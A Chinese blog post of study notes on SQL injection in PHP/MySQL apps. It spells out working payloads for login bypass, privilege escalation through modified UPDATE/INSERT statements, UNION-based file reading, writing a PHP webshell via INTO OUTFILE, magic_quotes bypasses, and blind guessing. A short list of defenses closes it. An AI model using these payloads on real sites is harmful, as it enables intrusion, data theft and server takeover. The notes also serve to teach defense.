- 浏览: 93108 次
- 性别:
- 来自: 福建
文章分类
最新评论
-
willeager:
encode:此字符串中除了 -_. 之外的所有非字母数字字符 ...
JS urlencode,urldecode -
miwula:
执行了decode 和encode 之后,string会有什么 ...
JS urlencode,urldecode
magic_quotes_gpc=Off的情况
1.字符串的注入
select:
正常select * from user where username='admin' and password='12$%&*'
利用#作为mysql中的注释:提交username的注入 admin'# 语句变为select * from user where username='admin'#' and password='12$%&*'
或者是admin' or 1=1 语句变为select * from user where username='admin' or 1=1 and password='12$%&*'
update:
同理把UPDATE users SET password='abc',email='will@163.com’ WHERE id=1
转为UPDATE users SET password='abc',email='will@163.com’,isroot=’1’ WHERE id=1
insert:
同理INSERT INTO user VALUES('$id','$login','$pass','$email',’2')
改为INSERT INTO user VALUES ('id','name','pass','will@163.com’,’1’)#','2')
注:浏览器url无法提交# 号,用%23代替
2.VERSION(),DATABASE(),USER() ,SYSTEM_USER() ,SESSION_USER()
获取版本用户名等信息查找mysql
select user(),database(),version();
3.利用union
select title from test where id=1 and 1<>1 union select password from user;
读文件:
select id,name from user where id=1 and 1<>1 union select 1,load_file('c:/../sql.inc');
有可能搞到了配置信息了噢
写文件:
select name from user where id=1 and 1<>1 union select '<?php phpinfo(); ?>' from user into outfile '../a.php';
现在可以访问a.php看看吧。如果是<?php system(dir); ?>呢
知道同一个表的id以及表名。然后猜测用户名第一位是否为a: select id from user where id=1 and ascii(mid(name,1,1))=97;
看另一个表:select id from test where id=(select 1 from user where ascii(mid(name,1,1))=97);
magic_quotes_gpc=On的情况(字段如果是字符串,那么就很难注入了,所以写成where id='$id'可以安全很多啊)
magic_quotes_gpc绕过法:
不能输入'号了,那么
'a'相当于char(39,97,39)
select 0x273B;输出 '; 这个也不错的
需要字符串的话可以用char或者16进制,这样就绕过了magic_quotes_gpc了
3.核心技术,利用php+mysql注入漏洞直接写入webshell。。
上传文件,文件内容<?php system(dir); ?>,改文件名为jpg,然后利用上面的写文件方法了,配合magic_quotes_gpc绕过法使用
防注入:
有可能的话打开安全模式, display_errors=off, magic_quote_gpc=on
addslashes()或者mysql_real_escape_string()
程序判断:intval()的使用
字段值都用'$id'的方式来用
一个管理员:username和password用md5加密
发表评论
-
使用 nginx_upload_module 上传文件
2014-05-09 21:12 1068使用 nginx_upload_module上传大附件 ... -
PHP json学习笔记
2012-04-12 10:30 700PHP中json_encode和json_decode 手册 ... -
获取全局变量,常量信息
2011-12-23 17:16 749$GLOBALS --- 保存所有全局变量(只在当前页面中的) ... -
imagick 问题
2011-12-22 09:51 1024由于linux盘使用率100% 导致问题: 调用$img = ... -
PHP获取二进制文件数据(如:flash)
2011-11-29 10:48 1814由于PHP默认只识别application/x-www.for ... -
PHP AES加密学习笔记
2011-06-25 11:13 4619<?php //--------第一种 ... -
SOAP简单例子
2011-06-25 11:04 1419soap_client.php <?php $c ... -
使用SMTP发送邮件
2011-06-25 10:13 1060$params = array ( 'SmtpServer ... -
dfopen模拟html请求
2011-06-21 11:41 997function dfopen($url, $limit ... -
获取客户端IP的解决办法
2011-06-21 10:58 7471.针对Apache服务器 function getU ... -
目录操作
2011-06-21 10:38 6581.查看目录大小 disk_free_s ... -
empty和isset的解决之道 - PHP变量是否定义的判断
2011-05-03 17:08 1089当访问一个未定义的变量时,PHP会产生警告 使用之前可 ... -
php图片保存、下载
2011-04-10 20:54 4149<?php //获取图片2进制内容 ,可以保存入数据库 ... -
PHP调用CMD命令的函数(window)
2011-03-21 10:13 2643$cmd = "php c:/a.php" ... -
PHP一些适用简单的东西
2011-03-10 21:32 6921.图片里显示IP地址 <? Header ... -
PHP的url传值学习笔记
2011-01-04 21:36 36061. 页面中的源码在显示 ... -
PHP addslashes函数
2011-01-04 21:35 32' " \ NUL Try this inst ... -
PHP连接ACCESS数据库笔记
2011-01-04 21:33 888$conn=new COM("ADODB.Conne ... -
PHP正则表达式使用笔记
2011-01-04 21:30 954PHP 正则表达式使用详解 ... -
阻塞模式的理解笔记
2011-01-04 21:28 822stream_set_blocking($fp, true)设 ...
相关推荐
PHP中SQL注入式攻击的实现与防范。
3.SQL Server应用程序中的 高级SQL注入 19 4.编写通用的ASP防SQL注入攻击程序 22 5.利用instr()函数防止SQL注入攻击 23 6.跨站式SQL注入技巧 25 7. 防范Sql注入式攻击 27 8.PHP与SQL注入攻击 29 9.SQL注入攻击零距离...
主要介绍了php中sql注入漏洞示例,大家在开发中一定要注意
PHP+Mysql 带SQL注入源码、下载解压部署到环境中去就行了。
PHP中全面阻止SQL注入式攻击 出于无赖,我也是办法了,要搞点分用啦!
查找代码中SQL注入时的提示和技巧 使用SQL注入创建利用 通过设计来避免由SQL攻击所带来的危险 第1章 什么是SQL注入 1 1.1 概述 2 1.2 理解Web应用的工作原理 2 1.2.1 一种简单的应用架构 3 1.2.2 一种较复杂的...
从360提供的PHP防SQL注入代码改成的一个类,从SQL注入和HTTP跨站两个方面入手,解决网站存在安全风险的问题,希望对朋友们有所帮助。
详细讲解了PHPsql注入漏洞的类型,及其防范措施,对开发网站,深入了解sql的人会有一定的帮助。
方法一:利用google高级搜索,比如搜索url如.asp?... 您可能感兴趣的文章:Java面试题解析之判断以及防止SQL注入SQL注入原理与解决方法代码示例通过ibatis解决sql注入问题Win2003服务器防SQL注入神器–D盾_IIS防火墙
整理出来的关于SQL注入时所需要的关键字,很全面,覆盖了很多,包括asp,php等等
php中防止SQL注入的方法,安全,PHP代码编写是一方面,PHP的配置更是非常关键。
一个php防SQL注入的一个类,参数检查并写入日志,SQL注入日志。
PHP与SQL注入渗透方法.doc
防SQL注入的php,通用防注入类
SQL注入基本概念,原理,防注入php代码以及 相关的图片实例,具体可下载查看。
利用谷歌搜索SQL注入漏洞关键词 目标关键字+inurl:id 英语字母及单词+inurl:id 网站域名+inurl:id 阿拉伯数字+inurl:id inurl:asp?id= inurl:Article_Print.asp? EnCompHonorBig.asp?id=随便加个数字 showproduct....
由于SQL注入攻击针对的是应用开发过程中的编程不严密,因而对于绝大多数防火墙来说,这种攻击是“合法”的。问题的解决只有依赖于完善编程。专门针对SQL注入攻击的工具较少,Wpoison对于用asp,php进行的开发有一定...